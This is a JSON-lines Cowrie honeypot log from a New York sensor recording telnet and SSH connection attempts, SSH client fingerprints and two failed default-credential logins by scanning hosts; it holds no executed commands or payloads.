{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e416bd7850","protocol":"telnet","message":"New connection: 213.136.75.179:46866 (10.17.0.5:23) [session: 03e416bd7850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.293600Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46880,"dst_ip":"10.17.0.5","dst_port":23,"session":"838f4832e08e","protocol":"telnet","message":"New connection: 213.136.75.179:46880 (10.17.0.5:23) [session: 838f4832e08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.338987Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9733308eae61","protocol":"telnet","message":"New connection: 94.23.163.94:48968 (10.17.0.5:23) [session: 9733308eae61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.398077Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.476190Z","src_ip":"176.65.139.103","session":"99636262aef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.060083150863647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.574380Z","src_ip":"213.136.75.179","session":"2f9ccdbd2052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46886,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfaf1067c9b8","protocol":"telnet","message":"New connection: 213.136.75.179:46886 (10.17.0.5:23) [session: bfaf1067c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.696867Z"}
{"eventid":"cowrie.session.closed","duration":33.467581272125244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.778839Z","src_ip":"213.136.75.179","session":"bf85970e56be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070396900177002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.875427Z","src_ip":"213.136.75.179","session":"bd09c9843a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46888,"dst_ip":"10.17.0.5","dst_port":23,"session":"26809e632fde","protocol":"telnet","message":"New connection: 213.136.75.179:46888 (10.17.0.5:23) [session: 26809e632fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.475228Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54848,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c6520cf579","protocol":"telnet","message":"New connection: 94.23.163.94:54848 (10.17.0.5:23) [session: 57c6520cf579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.531031Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"dabcfafa0e5b","protocol":"telnet","message":"New connection: 213.136.75.179:46898 (10.17.0.5:23) [session: dabcfafa0e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.548179Z"}
{"eventid":"cowrie.session.closed","duration":32.03275966644287,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.562051Z","src_ip":"213.136.75.179","session":"39e3bac3f7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46904,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9fab03ecc2d","protocol":"telnet","message":"New connection: 213.136.75.179:46904 (10.17.0.5:23) [session: a9fab03ecc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.567019Z"}
{"eventid":"cowrie.session.closed","duration":34.33386969566345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.692008Z","src_ip":"213.136.75.179","session":"8acf21380427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22475242614746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.742817Z","src_ip":"94.23.163.94","session":"3bfd02af99ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"3849945b8c48","protocol":"telnet","message":"New connection: 213.136.75.179:46910 (10.17.0.5:23) [session: 3849945b8c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.757440Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37502ac97be","protocol":"telnet","message":"New connection: 5.189.169.71:42346 (10.17.0.5:23) [session: b37502ac97be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.792341Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b205d67e6df","protocol":"telnet","message":"New connection: 213.136.75.179:46920 (10.17.0.5:23) [session: 4b205d67e6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.914074Z"}
{"eventid":"cowrie.session.closed","duration":31.516127586364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:43.984827Z","src_ip":"5.189.169.71","session":"53701507196a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c0ebd83dba","protocol":"telnet","message":"New connection: 213.136.75.179:46934 (10.17.0.5:23) [session: 03c0ebd83dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.082156Z"}
{"eventid":"cowrie.session.closed","duration":31.014875650405884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.101669Z","src_ip":"94.23.163.94","session":"70d3bb71e5b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46950,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53c0d403407","protocol":"telnet","message":"New connection: 213.136.75.179:46950 (10.17.0.5:23) [session: b53c0d403407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.193277Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"b626fe489c0d","protocol":"telnet","message":"New connection: 213.136.75.179:46960 (10.17.0.5:23) [session: b626fe489c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.260177Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46970,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e6f2e5aa6c","protocol":"telnet","message":"New connection: 213.136.75.179:46970 (10.17.0.5:23) [session: a2e6f2e5aa6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.413150Z"}
{"eventid":"cowrie.session.closed","duration":34.210795164108276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.467515Z","src_ip":"213.136.75.179","session":"65cd6bb7aa82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77307748794556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:44.687848Z","src_ip":"213.136.75.179","session":"a1463f75b93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1aab3e5aa9","protocol":"telnet","message":"New connection: 213.136.75.179:46974 (10.17.0.5:23) [session: 4b1aab3e5aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.141105Z"}
{"eventid":"cowrie.session.closed","duration":30.94375991821289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.278181Z","src_ip":"155.117.234.131","session":"d9b417af51e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d32e295ef3","protocol":"telnet","message":"New connection: 213.136.75.179:46978 (10.17.0.5:23) [session: 99d32e295ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.332129Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":39874,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50fca7aee48","protocol":"telnet","message":"New connection: 155.117.234.131:39874 (10.17.0.5:23) [session: c50fca7aee48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.340791Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46994,"dst_ip":"10.17.0.5","dst_port":23,"session":"791e96ff3e8e","protocol":"telnet","message":"New connection: 213.136.75.179:46994 (10.17.0.5:23) [session: 791e96ff3e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.373963Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":43352,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ac34b5e576","protocol":"telnet","message":"New connection: 5.189.178.126:43352 (10.17.0.5:23) [session: 35ac34b5e576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.382397Z"}
{"eventid":"cowrie.session.closed","duration":32.16628575325012,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.407141Z","src_ip":"213.136.75.179","session":"6b339aaa8040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47010,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef57b21fc9a","protocol":"telnet","message":"New connection: 213.136.75.179:47010 (10.17.0.5:23) [session: 1ef57b21fc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:45.814442Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b496d85195da","protocol":"telnet","message":"New connection: 94.23.163.94:54862 (10.17.0.5:23) [session: b496d85195da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:46.610770Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47022,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8a2d797c9b","protocol":"telnet","message":"New connection: 213.136.75.179:47022 (10.17.0.5:23) [session: 3f8a2d797c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:46.638546Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e6b2b0783b","protocol":"telnet","message":"New connection: 213.136.75.179:47036 (10.17.0.5:23) [session: 13e6b2b0783b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:46.746191Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"1324ad6935b2","protocol":"telnet","message":"New connection: 5.189.178.126:43362 (10.17.0.5:23) [session: 1324ad6935b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:46.997360Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5151b02a177","protocol":"telnet","message":"New connection: 213.136.75.179:47044 (10.17.0.5:23) [session: a5151b02a177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.030978Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dda68332b41","protocol":"telnet","message":"New connection: 94.23.163.94:54878 (10.17.0.5:23) [session: 9dda68332b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.126487Z"}
{"eventid":"cowrie.session.closed","duration":31.58882761001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.150377Z","src_ip":"213.136.75.179","session":"b92655610005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299623727798462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.183626Z","src_ip":"213.136.75.179","session":"1f2e2b28dbd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54890,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87b6e5ec70f","protocol":"telnet","message":"New connection: 94.23.163.94:54890 (10.17.0.5:23) [session: e87b6e5ec70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.269298Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43930,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea2d3529eaf","protocol":"ssh","message":"New connection: 176.65.139.103:43930 (10.17.0.5:22) [session: 1ea2d3529eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.485063Z"}
{"eventid":"cowrie.session.closed","duration":31.611002922058105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.500390Z","src_ip":"213.136.75.179","session":"3ac46541d552","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.541562Z","src_ip":"176.65.139.103","session":"1ea2d3529eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46044,"dst_ip":"10.17.0.5","dst_port":23,"session":"7078c6dc172f","protocol":"telnet","message":"New connection: 213.136.75.179:46044 (10.17.0.5:23) [session: 7078c6dc172f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.579277Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.603332Z","src_ip":"176.65.139.103","session":"1ea2d3529eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d6a42924b6","protocol":"telnet","message":"New connection: 94.23.163.94:54900 (10.17.0.5:23) [session: 71d6a42924b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.625078Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6673a8af5d6","protocol":"telnet","message":"New connection: 94.23.163.94:54914 (10.17.0.5:23) [session: d6673a8af5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.637719Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d6d69546d6","protocol":"telnet","message":"New connection: 213.136.75.179:46052 (10.17.0.5:23) [session: f1d6d69546d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.733062Z"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:47.905673Z","src_ip":"176.65.139.103","session":"1ea2d3529eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.398059606552124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.071585Z","src_ip":"94.23.163.94","session":"1da54cf5f980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54922,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6745593021","protocol":"telnet","message":"New connection: 94.23.163.94:54922 (10.17.0.5:23) [session: 8a6745593021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.119685Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"c77c2a3bf7ee","protocol":"telnet","message":"New connection: 213.136.75.179:46060 (10.17.0.5:23) [session: c77c2a3bf7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.217754Z"}
{"eventid":"cowrie.session.closed","duration":32.11890506744385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.471245Z","src_ip":"213.136.75.179","session":"e224cafdc889","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0115180015564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.774315Z","src_ip":"213.136.75.179","session":"8bbc57527106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":55235,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd8e54283e5","protocol":"ssh","message":"New connection: 74.87.117.149:55235 (10.17.0.5:22) [session: fbd8e54283e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.929458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.934208Z","src_ip":"74.87.117.149","session":"fbd8e54283e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:48.958983Z","src_ip":"74.87.117.149","session":"fbd8e54283e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.000356Z","src_ip":"176.65.139.103","session":"1ea2d3529eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"test123","message":"login attempt [deploy/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.089398Z","src_ip":"74.87.117.149","session":"fbd8e54283e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84b14c39218","protocol":"telnet","message":"New connection: 213.136.75.179:46062 (10.17.0.5:23) [session: f84b14c39218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.114479Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":54932,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a1884baaf8","protocol":"telnet","message":"New connection: 94.23.163.94:54932 (10.17.0.5:23) [session: 08a1884baaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.314994Z"}
{"eventid":"cowrie.session.closed","duration":33.970417737960815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.524072Z","src_ip":"213.136.75.179","session":"c4e225aed8d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452358961105347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.612738Z","src_ip":"213.136.75.179","session":"cde13ab557c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46064,"dst_ip":"10.17.0.5","dst_port":23,"session":"5216f9a3d41f","protocol":"telnet","message":"New connection: 213.136.75.179:46064 (10.17.0.5:23) [session: 5216f9a3d41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.640524Z"}
{"eventid":"cowrie.session.closed","duration":31.42487406730652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:49.652673Z","src_ip":"213.136.75.179","session":"6046fd1d4b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07656502723694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.049160Z","src_ip":"5.189.169.71","session":"7b112dfc3309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62551736831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.072521Z","src_ip":"5.189.169.71","session":"4532a7a7e4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:50.116479Z","src_ip":"74.87.117.149","session":"fbd8e54283e5","protocol":"ssh"}
